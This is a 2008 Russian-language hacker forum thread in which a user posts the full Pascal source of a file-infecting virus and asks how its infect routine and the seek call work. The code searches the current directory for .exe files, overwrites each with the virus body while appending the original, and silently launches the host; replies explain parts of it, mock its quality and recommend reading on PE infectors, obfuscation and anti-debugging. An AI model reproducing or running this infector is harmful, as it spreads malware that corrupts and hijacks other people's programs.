Есть исходник и пара вопросов!

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by ZirroCool, 30 May 2008.

  1. ZirroCool

    ZirroCool Elder - Старейшина

    Joined:
    16 Sep 2006
    Messages:
    128
    Likes Received:
    55
    Reputations:
    20
    Вот собственно исходник какого то вируса с форума хакер!
    Хотел бы чтобы знающие люди мне обьяснили технологию внедрения программы в другую программу ну а собственно действия процедуры infect! Было бы не плохо именно с разбора по полочкам данной процедуры,в особенности интересует функция seek! За ранее большое спасибо!
    Code:
    program injector;
    
    uses
      windows,sysutils,shellapi;
    
    const virsize=44032;
    
    var
    victims:tsearchrec;
    f1,f2:file;
    
    procedure infect(victim:string);
    var
      a:integer;
      Buf: array[1..virsize] of byte;
      nr,nw:longint;
    begin
      try
        randomize;
        assignfile(f1,victim);
        a:=random(200);
        rename(f1,'bad'+inttostr(a)) ;
        filemode :=0;
        assignfile(f2,paramstr(0));
        reset(f2,1) ;
        seek(f2,0);
        blockread(f2,buf,virsize);
        filemode:=2 ;
        closefile(f2);
        assignfile(f1,victim);
        rewrite(f1,1);
        blockwrite(f1,buf,virsize);
        assignfile(f2,'bad'+inttostr(a));
        reset(f2,1);
        seek(f2,0);
      repeat
        BlockRead(f2, Buf,virsize, NR);
        BlockWrite(f1, Buf, NR, NW);
      until (NR = 0) or (NW <> NR);
        closefile(f1);
        closefile(f2);
        deletefile(pchar('bad'+inttostr(a)))
      except
      end;
    end;
    
    procedure go;
    label 10;
    var
      Buf: array[1..virsize] of byte;
      rect:trect;
      nr,nw:longint;
    begin
      ////
      try
        filemode :=0;
        assignfile(f1,paramstr(0));
        reset(f1,1);
        filemode :=2;
        assignfile(f2,paramstr(0)+'.exe');
        rewrite(f2,1);
        seek(f1,virsize);
        seek(f2,0) ;
      repeat
        filemode :=0;
        BlockRead(f1, Buf,virsize, NR);
        filemode :=2;
        BlockWrite(f2, Buf, NR, NW);
        until (NR = 0) or (NW <> NR) ;
        closefile(f1);
        closefile(f2);
        ShellExecute(0,'open',pchar(paramstr(0)+ '.exe'), nil, nil, SW_Hide);
        if not deletefile(pchar(paramstr(0)+'.exe')) then
        begin
          //--
        end;
        except
      end;
       ////
    end;
    
    begin
      filemode :=0;
      assignfile(f1,paramstr(0));
      reset(f1,1);
      if filesize(f1)>virsize then go;
      closefile(f1);
      filemode :=2;
      if FindFirst('*.exe', Faanyfile, victims) = 0 then
      repeat
        if not ((victims.Name)=extractfilename(paramstr(0))) then begin
        if not ((victims.Name)=extractfilename(extractfilename(paramstr(0)))) then infect(victims.Name);
      end;
      until FindNext(victims)<>0 ;
    end. 
    
     
  2. z01b

    z01b Муджахид

    Joined:
    5 Jan 2007
    Messages:
    494
    Likes Received:
    382
    Reputations:
    22
    Ф-ция seek, перемещает курсор к заданной записи (binary mode)
     
    #2 z01b, 30 May 2008
    Last edited: 30 May 2008
  3. 0verbreaK

    0verbreaK Elder - Старейшина

    Joined:
    30 Apr 2008
    Messages:
    318
    Likes Received:
    42
    Reputations:
    -3
    Code:
        seek(f2,0); {  переход в начало}
        blockread(f2,buf,virsize); { считали с буфер с позиции  }
        filemode:=2 ; { режим открытия файлов (по дефолту 2)}
        closefile(f2); 
        assignfile(f1,victim);
        rewrite(f1,1); {открыли для перезаписи}
        blockwrite(f1,buf,virsize); {записали буфер}
    
    В общем не качественный вирус-инфектор, лучше поразбирай, инфекторы, юзающие
    PE формат, добавление новой секции, внедрение в PE заголовок, если не ошибаюсь
    это вирус-спутник.
     
  4. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    ОМГ мною был написан очень похожий вирус в далеком 98-м году по такому же принципу и тоже на Паскале )))
     
  5. x0man

    x0man Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    33
    Likes Received:
    13
    Reputations:
    0
    говно код... =\ хотьбы FindClose() вызвал... в конце поиска... кривые руки это делали =\\ не в обиду будет сказанно =\\\

    а вообще, похоже что этот говно код тупо берёт, переписывает все EXE в текущей директории, своей копией при этом записывая "перезаписываемый" EXE в конец себя...

    и при запуске получается что сначала запустится "псевдо вирус", а потом оригинальный "сдампленный" EXE... только автор не подумал на счёт иконок... а следовало бы...

    кто не понял что я хотел сказать, извините)) не умею объяснять %)
     
    2 people like this.
  6. Jes

    Jes Elder - Старейшина

    Joined:
    16 Apr 2007
    Messages:
    370
    Likes Received:
    391
    Reputations:
    34
    Здесь нет прямого ответа на твой вопрос , но ты без труда поймёшь :
    http://wasm.ru/series.php?sid=4
    + советовал бы почитать думаю для начала Румянцева "Работа с файлами в Win API" ...
     
  7. ZirroCool

    ZirroCool Elder - Старейшина

    Joined:
    16 Sep 2006
    Messages:
    128
    Likes Received:
    55
    Reputations:
    20
    всем спасибо уже сам весь исходник прокопал!!! Тему можно закрыть! Кому интересно http://www.kiber-zona.org/index.php?showtopic=2917
     
  8. taha

    taha Elder - Старейшина

    Joined:
    20 Aug 2006
    Messages:
    399
    Likes Received:
    330
    Reputations:
    251
    мдааааа, x0man... прав был Крыс Касперски, когда говорил, что вирусы пишут все кому не лень! "/
    ТС, для того, чтобы написать вирус, тебе необходимы знания PE-формата, ассемблера, техник поли/метаморфизма, антиотладки, смешивания,обфускации

    прочти хотя бы серию "от зеленого к красному"
     
    5 people like this.
  9. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    http://wasm.ru/publist.php?list=6
    И вот сам труЪ инфектор
    http://wasm.ru/article.php?article=peinfector
     
  10. Andres

    Andres Elder - Старейшина

    Joined:
    4 Apr 2008
    Messages:
    320
    Likes Received:
    119
    Reputations:
    0
    Ого..прикольно..